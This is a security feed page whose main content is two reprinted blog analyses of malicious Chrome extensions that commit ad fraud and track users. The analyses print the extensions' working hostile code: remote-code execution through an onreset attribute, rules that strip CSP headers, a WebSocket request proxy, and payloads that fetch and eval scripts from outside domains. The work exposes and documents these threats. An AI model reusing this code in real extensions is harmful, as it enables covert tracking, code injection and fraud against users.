feeds
by zer0x0ne — on

xkcd
Retrieved title: xkcd.com, 3 item(s)Archive Request
Hardwood
Atom
PortSwigger Research
Retrieved title: PortSwigger Research, 6 item(s)Top 10 web hacking techniques of 2024
Welcome to the Top 10 Web Hacking Techniques of 2024, the 18th edition of our annual community-powered effort to identify the most innovative must-read web security research published in the last year
Bypassing character blocklists with unicode overflows
Unicode codepoint truncation - also called a Unicode overflow attack - happens when a server tries to store a Unicode character in a single byte. Because the maximum value of a byte is 255, an overflo
Stealing HttpOnly cookies with the cookie sandwich technique
In this post, I will introduce the "cookie sandwich" technique which lets you bypass the HttpOnly flag on certain servers. This research follows on from Bypassing WAFs with the phantom $Version cookie
Top 10 web hacking techniques of 2024: nominations open
Nominations are now open for the top 10 new web hacking techniques of 2024! Every year, security researchers from all over the world share their latest findings via blog posts, presentations, PoCs, an
Bypassing WAFs with the phantom $Version cookie
HTTP cookies often control critical website features, but their long and convoluted history exposes them to parser discrepancy vulnerabilities. In this post, I'll explore some dangerous, lesser-known
New crazy payloads in the URL Validation Bypass Cheat Sheet
The strength of our URL Validation Bypass Cheat Sheet lies in the contributions from the web security community, and today’s update is no exception. We are excited to introduce a new and improved IP a
Dark Reading
Retrieved title: darkreading, 6 item(s)North Korea's Kimsuky Taps Trusted Platforms to Attack South Korea
The campaign heavily uses Dropbox folders and PowerShell scripts to evade detection and quickly scrapped infrastructure components after researchers began poking around.
Xerox Printer Vulnerabilities Enable Credential Capture
Attackers are using patched bugs to potentially gain unfettered access to an organization's Windows environment under certain conditions.
China-Linked Threat Group Targets Japanese Orgs' Servers
Winnti once used a variety of malware but is now focused on SQL vulnerabilities and obfuscation, updated encryption, and new evasion methods to gain access.
Thrive Acquires Secured Network Services
SANS Institute Launches AI Cybersecurity Hackathon
Microsoft: New Variant of macOS Threat XCSSET Spotted in the Wild
Microsoft is warning the modular and potentially wormable Apple-focused infostealer boasts new capabilities for obfuscation, persistence, and infection, and could lead to a supply chain attack.
Almost Secure
Retrieved title: Almost Secure, 3 item(s)Analysis of an advanced malicious Chrome extension
Two weeks ago I published an article on 63 malicious Chrome extensions. In most cases I could only identify the extensions as malicious. With large parts of their logic being downloaded from some web servers, it wasn’t possible to analyze their functionality in detail.
However, for the Download Manager Integration Checklist extension I have all parts of the puzzle now. This article is a technical discussion of its functionality that somebody tried very hard to hide. I was also able to identify a number of related extensions that were missing from my previous article.
Update (2025-02-04): An update to Download Manager Integration Checklist extension has been released a day before I published this article, clearly prompted by me asking adindex about this. The update removes the malicious functionality and clears extension storage. Luckily, I’ve saved both the previous version and its storage contents.

Contents
The problematic extensions
Since my previous article I found a bunch more extensions with malicious functionality that is almost identical to Download Manager Integration Checklist. The extension Auto Resolution Quality for YouTube™ does not seem to be malicious (yet?) but shares many remarkable oddities with the other extensions.
Name | Weekly active users | Extension ID | Featured |
---|---|---|---|
Freemybrowser | 10,000 | bibmocmlcdhadgblaekimealfcnafgfn | ✓ |
AutoHD for Twitch™ | 195 | didbenpmfaidkhohcliedfmgbepkakam | |
Free simple Adult Blocker with password | 1,000 | fgfoepffhjiinifbddlalpiamnfkdnim | |
Convert PDF to JPEG/PNG | 20,000 | fkbmahbmakfabmbbjepgldgodbphahgc | |
Download Manager Integration Checklist | 70,000 | ghkcpcihdonjljjddkmjccibagkjohpi | ✓ |
Auto Resolution Quality for YouTube™ | 223 | hdangknebhddccoocjodjkbgbbedeaam | |
Adblock.mx - Adblock for Chrome | 1,000 | hmaeodbfmgikoddffcfoedogkkiifhfe | ✓ |
Auto Quality for YouTube™ | 100,000 | iaddfgegjgjelgkanamleadckkpnjpjc | |
Anti phising safer browsing for chrome | 7,000 | jkokgpghakemlglpcdajghjjgliaamgc | ✓ |
Darktheme for google translate | 40,000 | nmcamjpjiefpjagnjmkedchjkmedadhc | ✓ |
Additional IOCs:
- adblock[.]mx
- adultblocker[.]org
- autohd[.]org
- autoresolutionquality[.]com
- browserguard[.]net
- freemybrowser[.]com
- freepdfconversion[.]com
- internetdownloadmanager[.]top
- megaxt[.]com
- darkmode[.]site
“Remote configuration” functionality
The Download Manager Integration Checklist extension was an odd one on the list in my previous article. It has very minimal functionality: it’s merely supposed to display a set of instructions. This is a task that doesn’t require any permissions at all, yet the extension requests access to all websites and declarativeNetRequest
permission. Apparently, nobody noticed this inconsistency so far.
Looking at the extension code, there is another oddity. The checklist displayed by the extension is downloaded from Firebase, Google’s online database. Yet there is also a download from https://help.internetdownloadmanager.top/checklist
, with the response being handled by this function:
async function u(l) {
await chrome.storage.local.set({ checklist: l });
await chrome.declarativeNetRequest.updateDynamicRules({
addRules: l.list.add,
removeRuleIds: l.list.rm,
});
}
This is what I flagged as malicious functionality initially: part of the response is used to add declarativeNetRequest
rules dynamically. At first I missed something however: the rest of the data being stored as checklist
is also part of the malicious functionality, allowing execution of remote code:
function f() {
let doc = document.documentElement;
function updateHelpInfo(info, k) {
doc.setAttribute(k, info);
doc.dispatchEvent(new CustomEvent(k.substring(2)));
doc.removeAttribute(k);
}
document.addEventListener(
"description",
async ({ detail }) => {
const response = await chrome.runtime.sendMessage(
detail.msg,
);
document.dispatchEvent(
new CustomEvent(detail.responseEvent, {
detail: response,
}),
);
},
);
chrome.storage.local.get("checklist").then(
({ checklist }) => {
if (checklist && checklist.info && checklist.core) {
updateHelpInfo(checklist.info, checklist.core);
}
},
);
}
There is a tabs.onUpdated listener hidden within the legitimate webextension-polyfill
module that will run this function for every web page via tabs.executeScript API.
This function looks fairly unsuspicious. Understanding its functionality is easier if you know that checklist.core
is "onreset"
. So it takes the document element, fills its onreset
attribute with some JavaScript code from checklist.info
, triggers the reset
event and removes the attribute again. That’s how this extension runs some server-provided code in the context of every website.
The code being executed
When the extension downloads its “checklist” immediately after installation the server response will be empty. Sort of: “nothing to see here, this is merely some dead code somebody forgot to remove.” The server sets a cookie however, allowing it to recognize the user on subsequent downloads. And only after two weeks or so it will respond with the real thing. For example, the list
key of the response looks like this then:
"add": [
{
"action": {
"responseHeaders": [
{
"header": "Content-Security-Policy-Report-Only",
"operation": "remove"
},
{
"header": "Content-Security-Policy",
"operation": "remove"
}
],
"type": "modifyHeaders"
},
"condition": {
"resourceTypes": [
"main_frame"
],
"urlFilter": "*"
},
"id": 98765432,
"priority": 1
}
],
"rm": [
98765432
]
No surprise here, this is about removing Content Security Policy protection from all websites, making sure it doesn’t interfere when the extension injects its code into web pages.
As I already mentioned, the core
key of the response is "onreset"
, an essential component towards executing the JavaScript code. And the JavaScript code in the info
key is heavily obfuscated by JavaScript Obfuscator, with most strings and property names encrypted to make reverse engineering harder.
Of course this kind of obfuscation can still be reversed, and you can see the entire deobfuscated code here. Note that most function and variable names have been chosen randomly, the original names being meaningless. The code consists of three parts:
-
Marshalling of various extension APIs: tabs, storage, declarativeNetRequest. This uses DOM events to communicate with the function f() mentioned above, this function forwards the messages to the extension’s background worker and the worker then calls the respective APIs.
In principle, this allows reading out your entire browser state: how many tabs, what pages are loaded etc. Getting notified on changes is possible as well. The code doesn’t currently use this functionality, but the server can of course produce a different version of it any time, for all users or only for selected targets.
There is also another aspect here: in order to run remote code, this code has been moved into the website realm. This means however that any website can abuse these APIs as well. It’s only a matter of knowing which DOM events to send. Yes, this is a massive security issue.
-
Code downloading a 256 KiB binary blob from
https://st.internetdownloadmanager.top/bff
and storing it in encoded form asbff
key in the extension storage. No, this isn’t your best friend forever but a Bloom filter. This filter is applied to SHA-256 hashes of domain names and determines on which domain names the main functionality should be activated.With Bloom filters, it is impossible to determine which exact data went into it. It is possible however to try out guesses, to see which one it accepts. Here is the list of matching domains that I could find. This list looked random to me initially, and I even suspected that noise has been added to it in order to hide the real target domains. Later however I could identify it as the list of adindex advertisers, see below.
-
The main functionality: when active, it sends the full address of the current page to
https://st.internetdownloadmanager.top/cwc2
and might get a “session” identifier back. It is likely that this this server stores the addresses it receives and sells the resulting browsing history. This part of the functionality stays hidden however.The “session” handling is visible on the other hand. There is some rate limiting here, making sure that this functionality is triggered at most once per minute and no more than once every 12 hours for each domain. If activated, a message is sent back to the extension’s background worker telling it to connect to
wss://pa.internetdownloadmanager.top/s/<session>
. All further processing happens there.
The “session” handling
Here we are back in the extension’s static code, no longer remotely downloaded code. The entry point for the “session” handling is function __create
. Its purpose has been concealed, with some essential property and method names contained in the obfuscated code above or received from the web socket connection. I filled in these parts and simplified the code to make it easier to understand:
var __create = url => {
const socket = new this.WebSocket(url);
const buffer = {};
socket.onmessage = event => {
let message = event.data.arrayBuffer ? event.data : JSON.parse(event.data);
this.stepModifiedMatcher(socket, buffer, message)
};
};
stepModifiedMatcher =
async (socket, buffer, message) => {
if (message.arrayBuffer)
buffer[1] = message.arrayBuffer();
else {
let [url, options] = message;
if (buffer[1]) {
options.body = await buffer[1];
buffer[1] = null;
}
let response = await this.fetch(url, options);
let data = await Promise.all([
!message[3] ? response.arrayBuffer() : false,
JSON.stringify([...response.headers.entries()]),
response.status,
response.url,
response.redirected,
]);
for (const entry of data) {
if (socket.readyState === 1) {
socket.send(entry);
}
}
}
};
This receives instructions from the web socket connection on what requests to make. Upon success the extension sends information like response text, HTTP headers and HTTP status back to the server.
What is this good for? Before I could observe this code in action I was left guessing. Is this an elaborate approach to de-anonymize users? On some websites their name will be right there in the server response. Or is this about session hijacking? There would be session cookies in the headers and CSRF tokens in the response body, so the extension could be instrumented to perform whatever actions necessary on behalf of the attackers – like initiating a money transfer once the user logs into their PayPay account.
The reality turned out to be far more mundane. When I finally managed to trigger this functionality on the Ashley Madison website, I saw the extension perform lots of web requests. Apparently, it was replaying a browsing session that was recorded two days earlier with the Firefox browser. The entry point of this session: https://api.sslcertifications.org/v1/redirect?advertiserId=11EE385A29E861E389DA14DDA9D518B0&adspaceId=11EE4BCA2BF782C589DA14DDA9D518B0&customId=505
(redirecting to ashleymadison.com
).

The server handling api.sslcertifications.org
belongs to the German advertising company adindex. Their list of advertisers is mostly identical to the list of domains matched by the Bloom filter the extension uses. So this is ad fraud: the extension generates fake link clicks, making sure its owner earns money for “advertising” websites like Ashley Madison. It uses the user’s IP address and replays recorded sessions to make this look like legitimate traffic, hoping to avoid detection this way.
I contacted adindex and they confirmed that sslcertifications.org
is a domain registered by a specific publisher but handled by adindex. They also said that they confronted the publisher in question with my findings and, having found their response unsatisfactory, blocked this publisher. Shortly afterwards the internetdownloadmanager.top
domain became unreachable, and api.sslcertifications.org
site no longer has a valid SSL certificate. Domains related to other extensions, the ones I didn’t mention in my request, are still accessible.
Who is behind these extensions?
The adindex CEO declined to provide the identity of the problematic publisher. There are obvious data protection reasons for that. However, as I looked further I realized that he might have additional reasons to withhold this information.
While most extensions I list provide clearly fake names and addresses, the Auto Quality for YouTube™ extension is associated with the MegaXT website. That website doesn’t merely feature a portfolio of two browser extensions (the second one being an older Manifest V2 extension also geared towards running remote code) but also a real owner with a real name. Who just happens to be a developer at adindex.
There is also the company eokoko GmbH, developing Auto Resolution Quality for YouTube™ extension. This extension appears to be non-malicious at the moment, yet it shares a number of traits with the malicious extensions on my list. Director of this company is once again the same adindex developer.
And not just any developer. According to his website he used to be CTO at adindex in 2013 (I couldn’t find an independent confirmation for this). He also founded a company together with the adindex CEO in 2018, something that is confirmed by public records.
When I mentioned this connection in my communication with adindex CEO the response was:
[He] works for us as a freelancer in development. Employees (including freelancers) are generally not allowed to operate publisher accounts at adindex and the account in question does not belong to [this developer]. Whether he operates extensions is actually beyond my knowledge.
I want to conclude this article with some assorted history facts:
- The two extensions associated with MegaXT have been running remote code since at least 2021. I don’t know whether they were outright malicious from the start, this would be impossible to prove retroactively even with source code given that they simply loaded some JavaScript code into the extension context. But both extensions have reviews complaining about malicious functionality going back to 2022.
- Darktheme for google translate and Download Manager Integration Checklist extensions both appear to have changed hands in 2024, after which they requested more privileges with an update in October 2024.
- Download Manager Integration Checklist extension used to be called “IDM Integration Module” in 2022. There have been at least five more extensions with similar names (not counting the official one), all removed from Chrome Web Store due to “policy violation.” This particular extension was associated with a website which is still offering “cracks” that show up as malware on antivirus scans (the installation instructions “solve” this by recommending to turn off antivirus protection). But that’s most likely the previous extension owner.
- Convert PDF to JPEG/PNG appears to have gone through a hidden ownership change in 2024, after which an update in September 2024 requested vastly extended privileges. However, the extension has reviews complaining about spammy behavior going back to 2019.
Malicious extensions circumvent Google’s remote code ban
As noted last week I consider it highly problematic that Google for a long time allowed extensions to run code they downloaded from some web server, an approach that Mozilla prohibited long before Google even introduced extensions to their browser. For years this has been an easy way for malicious extensions to hide their functionality. When Google finally changed their mind, it wasn’t in form of a policy but rather a technical change introduced with Manifest V3.
As with most things about Manifest V3, these changes are meant for well-behaving extensions where they in fact improve security. As readers of this blog probably know, those who want to find loopholes will find them: I’ve already written about the Honey extension bundling its own JavaScript interpreter and malicious extensions essentially creating their own programming language. This article looks into more approaches I found used by malicious extensions in Chrome Web Store. And maybe Google will decide to prohibit remote code as a policy after all.

Update (2025-01-20): Added two extensions to the bonus section. Also indicated in the tables which extensions are currently featured in Chrome Web Store.
Update (2025-01-21): Got a sample of the malicious configurations for Phoenix Invicta extensions. Added a section describing it and removed “But what do these configurations actually do” section. Also added a bunch more domains to the IOCs section.
Update (2025-01-28): Corrected the “Netflix Party” section, Flipshope extension isn’t malicious after all. Also removed the attribution subsection here.
Contents
Summary of the findings
This article originally started as an investigation into Phoenix Invicta Inc. Consequently, this is the best researched part of it. While I could attribute only 14 extensions with rather meager user numbers to Phoenix Invicta, that’s likely because they’ve only started recently. I could find a large number of domain names, most of which aren’t currently being used by any extensions. A few are associated with extensions that have been removed from Chrome Web Store but most seem to be reserved for future use.
It can be assumed that these extensions are meant to inject ads into web pages, yet Phoenix Invicta clearly put some thought into plausible deniability. They can always claim their execution of remote code to be a bug in their otherwise perfectly legitimate extension functionality. So it will be interesting to see how Google will deal with these extensions, lacking (to my knowledge) any policies that apply here.
The malicious intent is a bit more obvious with Netflix Party and related extensions. This shouldn’t really come as a surprise to Google: the most popular extension of the group was a topic on this blog back in 2023, and a year before that McAfee already flagged two extensions of the group as malicious. Yet here we are, and these extensions are still capable of spying, affiliate fraud and cookie stuffing as described by McAfee. If anything, their potential to do damage has only increased.
Finally, the group of extensions around Sweet VPN is the most obviously malicious one. To be fair, what these extensions do is probably best described as obfuscation rather than remote code execution. Still, they download extensive instructions from their web servers even though these aren’t too flexible in what they can do without requiring changes to the extension code. Again there is spying on the users and likely affiliate fraud as well.
In the following sections I will be discussing each group separately, listing the extensions in question at the end of each section. There is also a complete list of websites involved in downloading instructions at the end of the article.
Phoenix Invicta
Let’s first take a look at an extension called “Volume Booster - Super Sound Booster.” It is one of several similar extensions and it is worth noting that the extension’s code is neither obfuscated nor minified. It isn’t hiding any of its functionality, relying on plausible deniability instead.
For example, in its manifest this extension requests access to all websites:
"host_permissions": [
"http://*/*",
"https://*/*"
],
Well, it obviously needs that access because it might have to boost volume on any website. Of course, it would be possible to write this extension in a way that the activeTab
permission would suffice. But it isn’t built in this way.
Similarly, one could easily write a volume booster extension that doesn’t need to download a configuration file from some web server. In fact, this extension works just fine with its default configuration. But it will still download its configuration roughly every six hours just in case (code slightly simplified for readability):
let res = await fetch(`https://super-sound-booster.info/shortcuts?uuid=${userId}`,{
method: 'POST',
body: JSON.stringify({installParams}),
headers: { 'Content-Type': 'text/plain' }
});
let data = await res.json();
if (data.shortcuts) {
chrome.storage.local.set({
shortcuts: {
list: data.shortcuts,
updatedAt: Date.now(),
}
});
}
if (data.volumeHeaders) {
chrome.storage.local.set({
volumeHeaderRules: data.volumeHeaders
});
}
if (data.newsPage) {
this.openNewsPage(data.newsPage.pageId, data.newsPage.options);
}
This will send a unique user ID to a server which might then respond with a JSON file. Conveniently, the three possible values in this configuration file represent three malicious functions of the extensions.
Injecting HTML code into web pages
The extension contains a default “shortcut” which it will inject into all web pages. It can typically be seen in the lower right corner of a web page:

And if you move your mouse pointer to that button a message shows up:

That’s it, it doesn’t do anything else. This “feature” makes no sense but it provides the extension with plausible deniability: it has a legitimate reason to inject HTML code into all web pages.
And of course that “shortcut” is remotely configurable. So the shortcuts
value in the configuration response can define other HTML code to be injected, along with a regular expression determining which websites it should be applied to.
“Accidentally” this HTML code isn’t subject to the remote code restrictions that apply to browser extensions. After all, any JavaScript code contained here would execute in the context of the website, not in the context of the extension. While that code wouldn’t have access to the extension’s privileges, the end result is pretty much the same: it could e.g. spy on the user as they use the web page, transmit login credentials being entered, inject ads into the page and redirect searches to a different search engine.
Abusing declarativeNetRequest API
There is only a slight issue here: a website might use a security mechanism called Content Security Policy (CSP). And that mechanism can for example restrict what kind of scripts are allowed to run on the web site, in the same way the browser restricts the allowed scripts for the extension.
The extension solves this issue by abusing the immensely powerful declarativeNetRequest API. Looking at the extension manifest, a static rule is defined for this API:
[
{
"id": 1,
"priority": 1,
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "gain-id", "operation": "remove" },
{ "header": "basic-gain", "operation": "remove" },
{ "header": "audio-simulation-64-bit", "operation": "remove" },
{ "header": "content-security-policy", "operation": "remove" },
{ "header": "audio-simulation-128-bit", "operation": "remove" },
{ "header": "x-frame-options", "operation": "remove" },
{ "header": "x-context-audio", "operation": "remove" }
]
},
"condition": { "urlFilter": "*", "resourceTypes": ["main_frame","sub_frame"] }
}
]
This removes a bunch of headers from all HTTP responses. Most headers listed here are red herrings – a gain-id
HTTP header for example doesn’t really exist. But removing Content-Security-Policy
header is meant to disable CSP protection on all websites. And removing X-Frame-Options
header disables another security mechanism that might prevent injecting frames into a website. This probably means that the extension is meant to inject advertising frames into websites.
But these default declarativeNetRequest
rules aren’t the end of the story. The volumeHeaders
value in the configuration response allows adding more rules whenever the server decides that some are needed. As these rules aren’t code, the usual restrictions against remote code don’t apply here.
The name seems to suggest that these rules are all about messing with HTTP headers. And maybe this actually happens, e.g. adding cookie headers required for cookie stuffing. But judging from other extensions the main point is rather preventing any installed ad blockers from blocking ads displayed by the extension. Yet these rules provide even more damage potential. For example, declarativeNetRequest
allows “redirecting” requests which on the first glance is a very convenient way to perform affiliate fraud. It also allows “redirecting” requests when a website loads a script from a trusted source, making it get a malicious script instead – another way to hijack websites.
Side-note: This abuse potential is the reason why legitimate ad blockers, while downloading their rules from a web server, never make these rules as powerful as the declarativeNetRequest
API. It’s bad enough that a malicious rule could break the functionality of a website, but it shouldn’t be able to spy on the user for example.
Opening new tabs
Finally, there is the newsPage
value in the configuration response. It is passed to the openNewsPage
function which is essentially a wrapper around tabs.create() API. This will load a page in a new tab, something that extension developers typically use for benign things like asking for donations.
Except that Volume Booster and similar extensions don’t merely take a page address from the configuration but also some options. Volume Booster will take any options, other extensions will sometimes allow only specific options instead. One option that the developers of these extensions seem to particularly care about is active
which allows opening tabs in background. This makes me suspect that the point of this feature is displaying pop-under advertisements.
The scheme summarized
There are many extensions similar to Volume Booster. The general approach seems to be:
- Make sure that the extension has permission to access all websites. Find a pretense why this is needed – or don’t, Google doesn’t seem to care too much.
- Find a reason why the extension needs to download its configuration from a web server. It doesn’t need to be convincing, nobody will ever ask why you couldn’t just keep that “configuration” in the extension.
- Use a part of that configuration in HTML code that the extension will inject in web pages. Of course you should “forget” to do any escaping or sanitization, so that HTML injection is possible.
- Feed another part of the configuration to
declarativeNetRequest
API. Alternatively (or additionally), use static rules in the extension that will remove pesky security headers from all websites, nobody will ask why you need that.
Not all extensions implement all of these points. With some of the extensions the malicious functionality seems incomplete. I assume that it isn’t being added all at once, instead the support for malicious configurations is added slowly to avoid raising suspicions. And maybe for some extensions the current state is considered “good enough,” so nothing is to come here any more.
The payload
After I already published this article I finally got a sample of the malicious “shortcut” value, to be applied on all websites. Unsurprisingly, it had the form:
<img height="1" width="1" src="data:image/gif;base64,…"
onload="(() => {…})();this.remove()">
This injects an invisible image into the page, runs some JavaScript code via its load
event handler and removes the image again. The JavaScript code consists of two code blocks. The first block goes like this:
if (isGoogle() || isFrame()) {
hideIt();
const script = yield loadScript();
if (script) {
window.eval.call(window, script);
window.gsrpdt = 1;
window.gsrpdta = '_new'
}
}
The isGoogle
function looks for a Google subdomain and a query – this is about search pages. The isFrame
function looks for frames but excludes “our frames” where the address contains all the strings q=
, frmid
and gsc.page
. The loadScript
function fetches a script from https://shurkul[.]online/v1712/g1001.js
. This script then injects a hidden frame into the page, loaded either from kralforum.com.tr
(Edge) or rumorpix.com
(other browsers). There is also some tracking to an endpoint on dev.astralink.click
but the main logic operating the frame is in the other code block.
The second code block looks like this (somewhat simplified for readability):
if (window.top == window.self) {
let response = await fetch('https://everyview.info/c', {
method: 'POST',
body: btoa(unescape(encodeURIComponent(JSON.stringify({
u: 'm5zthzwa3mimyyaq6e9',
e: 'ojkoofedgcdebdnajjeodlooojdphnlj',
d: document.location.hostname,
t: document.title,
'iso': 4
})))),
headers: {
'Content-Type': 'text/plain'
},
credentials: 'include'
});
let text = await response.text();
runScript(decodeURIComponent(escape(atob(text))));
} else {
window.addEventListener('message', function(event) {
event && event.data && event.data.boosterWorker &&
event.data.booster && runScript(event.data.booster);
});
}
So for top-level documents this downloads some script from everyview.info
and runs it. That script in turn injects another script from lottingem.com
. And that script loads some ads from gulkayak.com
or topodat.info
as well as Google ads, makes sure these are displayed in the frame and positions the frame above the search results. The result are ads which can be barely distinguished from actual search results, here is what I get searching for “amazon” for example:

The second code block also has some additional tracking going to doubleview.online
, astato.online
, doublestat.info
, triplestat.online
domains.
The payloads I got for the Manual Finder 2024 and Manuals Viewer extensions are similar but not identical. In particular, these use fivem.com.tr
domain for the frame. But the result is essentially the same: ads that are almost impossible to distinguish from the search results. In this screenshot the link at the bottom is a search result, the one above it is an ad:

Who is behind these extensions?
These extensions are associated with a company named Phoenix Invicta Inc, formerly Funteq Inc. While supposedly a US company of around 20 people, its terms of service claim to be governed by Hong Kong law, all while the company hires its employees in Ukraine. While it doesn’t seem to have any physical offices, the company offers its employees the use of two co-working spaces in Kyiv. To add even more confusion, Funteq Inc. was registered in the US with its “office address” being a two room apartment in Moscow.
Before founding this company in 2016 its CEO worked as CTO of something called Ormes.ru. Apparently, Ormes.ru was in the business of monetizing apps and browser extensions. Its sales pitches can still be found all over the web, offering extension developers to earn money with various kinds of ads. Clearly, there has been some competence transfer here.
Occasionally Phoenix Invicta websites will claim to be run by another company named Damiko Inc. Of course these claims don’t have to mean anything, as the same websites will also occasionally claim to be run by a company in the business of … checks notes … selling knifes.
Yet Damiko Inc. is officially offering a number of extensions in the Chrome Web Store. And while these certainly aren’t the same as the Phoenix Invicta extensions, all but one of these extensions share certain similarities with them. In particular, these extensions remove the Content-Security-Policy
HTTP header despite having no means of injecting HTML content into web pages from what I can tell.
Damiko Inc. appears to be a subsidiary of the Russian TomskSoft LLC, operating in the US under the name Tomsk Inc. How does this fit together? Did TomskSoft contract Phoenix Invicta to develop browser extensions for them? Or is Phoenix Invicta another subsidiary of TomskSoft? Or some other construct maybe? I don’t know. I asked TomskSoft for comment on their relationship with this company but haven’t received a response so far.
The affected extensions
The following extensions are associated with Phoenix Invicta:
Name | Weekly active users | Extension ID | Featured |
---|---|---|---|
Click & Pick | 20 | acbcnnccgmpbkoeblinmoadogmmgodoo | |
AdBlock for Youtube: Skip-n-Watch | 3,000 | coebfgijooginjcfgmmgiibomdcjnomi | |
Dopni - Automatic Cashback Service | 19 | ekafoahfmdgaeefeeneiijbehnbocbij | |
SkipAds Plus | 95 | emnhnjiiloghpnekjifmoimflkdmjhgp | |
1-Click Color Picker: Instant Eyedropper (hex, rgb, hsl) | 10,000 | fmpgmcidlaojgncjlhjkhfbjchafcfoe | |
Better Color Picker - pick any color in Chrome | 10,000 | gpibachbddnihfkbjcfggbejjgjdijeb | |
Easy Dark Mode | 869 | ibbkokjdcfjakihkpihlffljabiepdag | |
Manuals Viewer | 101 | ieihbaicbgpebhkfebnfkdhkpdemljfb | |
ScreenCapX - Full Page Screenshot | 20,000 | ihfedmikeegmkebekpjflhnlmfbafbfe | |
Capture It - Easy Screenshot Tool (Full Page, Selected, Visible Area) | 48 | lkalpedlpidbenfnnldoboegepndcddk | |
AdBlock - Ads and Youtube | 641 | nonajfcfdpeheinkafjiefpdhfalffof | |
Manual Finder 2024 | 280 | ocbfgbpocngolfigkhfehckgeihdhgll | |
Volume Booster - Super Sound Booster | 8,000 | ojkoofedgcdebdnajjeodlooojdphnlj | |
Font Expert: Identify Fonts from Images & Websites | 666 | pjlheckmodimboibhpdcgkpkbpjfhooe |
The following table also lists the extensions officially developed by Damiko Inc. With these, there is no indication of malicious intent, yet all but the last one share similarities with Phoenix Invicta extensions above and remove security headers.
Name | Weekly active users | Extension ID | Featured |
---|---|---|---|
Screen Recorder | 685 | bgnpgpfjdpmgfdegmmjdbppccdhjhdpe | |
Halloween backgrounds and stickers for video calls and chats | 31 | fklkhoeemdncdhacelfjeaajhfhoenaa | |
AI Webcam Effects + Recorder: Google Meet, Zoom, Discord & Other Meetings | 46 | iedbphhbpflhgpihkcceocomcdnemcbj | ✓ |
Beauty Filter | 136 | mleflnbfifngdmiknggikhfmjjmioofi | |
Background Noise Remover | 363 | njmhcidcdbaannpafjdljminaigdgolj | |
Camera Picture In Picture (PIP Overlay) | 576 | pgejmpeimhjncennkkddmdknpgfblbcl |
Netflix Party
Back in 2023 I pointed out that “Adblock all advertisements” is malicious and spying on its users. A year earlier McAfee already called out a bunch of extensions as malicious. For whatever reason, Google decided to let Adblock all advertisements stay, and three extensions from the McAfee article also remained in Chrome Web Store: Netflix Party, FlipShope and AutoBuy Flash Sales. Out of these three, Netflix Party and AutoBuy Flash Sales still (or again) contain malicious functionality.
Update (2025-01-28): This article originally claimed that FlipShope extension was also malicious and listed this extension cluster under the name of its developing company, Technosense Media. This was incorrect, the extension merely contained some recognizable but dead code. According to Technosense Media, they bought the extension in 2023. Presumably, the problematic code was introduced by the previous extension owner and is unused.
Spying on the users
Coming back to Adblock all advertisements, it is still clearly spying on its users, using ad blocking functionality as a pretense to send the address of each page visited to its server (code slightly simplified for readability):
chrome.tabs.onUpdated.addListener(async (tabId, changeInfo, tab) => {
if ("complete" === changeInfo.status) {
let params = {
url: tab.url,
userId: await chrome.storage.sync.get("userId")
};
const response = await fetch("https://smartadblocker.com/extension/rules/api", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(params)
});
const rules = await response.json();
…
}
});
Supposedly, this code downloads a set of site-specific rules. This could in theory be legitimate functionality not meant to spy on users. That it isn’t legitimate functionality here isn’t indicated merely by the fact that the endpoint doesn’t produce any really meaningful responses. Legitimate functionality not intending to spy wouldn’t send a unique user ID with the request, the page address would be cut down to the host name (or would at least have all parameters removed) and the response would be cached. The latter would happen simply to reduce the load on this endpoint, something that anybody does unless the endpoint is paid for with users’ data.
The bogus rule processing
Nothing about the section above is new, I’ve already written as much in 2023. But either I haven’t taken a close look at the rule processing back then or it got considerably worse. Here is what it looks like today (variable and function naming is mine, the code was minified):
for (const key in rules)
if ("id" === key || "genericId" === key)
// Remove elements by ID
else if ("class" === key || "genericClass" === key)
// Remove elements by class name
else if ("innerText" === key)
// Remove elements by text
else if ("rules" === key)
if (rules.updateRules)
applyRules(rules[key], rules.rule_scope, tabId);
else if ("cc" === key)
// Bogus logic to let the server decide which language-specific filter list
// should be enabled
The interesting part here is the applyRules
call which conveniently isn’t triggered by the initial server responses (updateRules
key is set to false
). This function looks roughly like this:
async function applyRules(rules, scope, tabId) {
if ("global" !== scope) {
if (0 !== rules.length) {
const existingRules = await chrome.declarativeNetRequest.getDynamicRules();
const ruleIds = existingRules.map(rule => rule.id);
chrome.declarativeNetRequest.updateDynamicRules({
removeRuleIds: ruleIds,
addRules: rules
});
}
} else {
chrome.tabs.sendMessage(tabId, {
message: "start",
link: rules
});
}
}
So if the “scope” is anything but "global"
the rules provided by the server will be added to the declarativeNetRequest
API. Modifying these rules on per-request basis makes no sense for ad blocking, but it opens up rich possibilities for abuse as we’ve seen already. Given what McAfee discovered about these extensions before this is likely meant for cookie stuffing, yet execution of arbitrary JavaScript code in the context of targeted web pages is also a possible scenario.
And if the “scope” is "global"
the extension sends a message to its content script which will inject a frame with the given address into the page. Again, this makes no sense whatsoever for blocking ads, but it definitely works for affiliate fraud – which is what these extensions are all about according to McAfee.
Depending on the extension there might be only frame injection or only adding of dynamic rules. Given the purpose of the AutoBuy extension, it can probably pass as legitimate by Google’s rules, others not so much.
The affected extensions
Name | Weekly active users | Extension ID | Featured |
---|---|---|---|
Auto Refresh Plus | 100,000 | ffejlioijcokmblckiijnjcmfidjppdn | |
Smart Auto Refresh | 100,000 | fkjngjgmgbfelejhbjblhjkehchifpcj | ✓ |
Adblock all advertisement - No Ads extension | 700,000 | gbdjcgalliefpinpmggefbloehmmknca | ✓ |
AutoBuy Flash Sales, Deals, and Coupons | 20,000 | gbnahglfafmhaehbdmjedfhdmimjcbed | |
Autoskip for Youtube™ Ads | 200,000 | hmbnhhcgiecenbbkgdoaoafjpeaboine | |
Smart Adblocker | 50,000 | iojpcjjdfhlcbgjnpngcmaojmlokmeii | ✓ |
Adblock for Browser | 10,000 | jcbjcocinigpbgfpnhlpagidbmlngnnn | |
Netflix Party | 500,000 | mmnbenehknklpbendgmgngeaignppnbe | |
Free adblocker | 8,000 | njjbfkooniaeodkimaidbpginjcmhmbm | ✓ |
Video Ad Block Youtube | 100,000 | okepkpmjhegbhmnnondmminfgfbjddpb | ✓ |
Picture in Picture for Videos | 30,000 | pmdjjeplkafhkdjebfaoaljknbmilfgo |
Update (2025-01-28): Added Auto Refresh Plus and Picture in Picture for Videos to the list. The former only contains the spying functionality, the latter spying and frame injection.
Sweet VPN
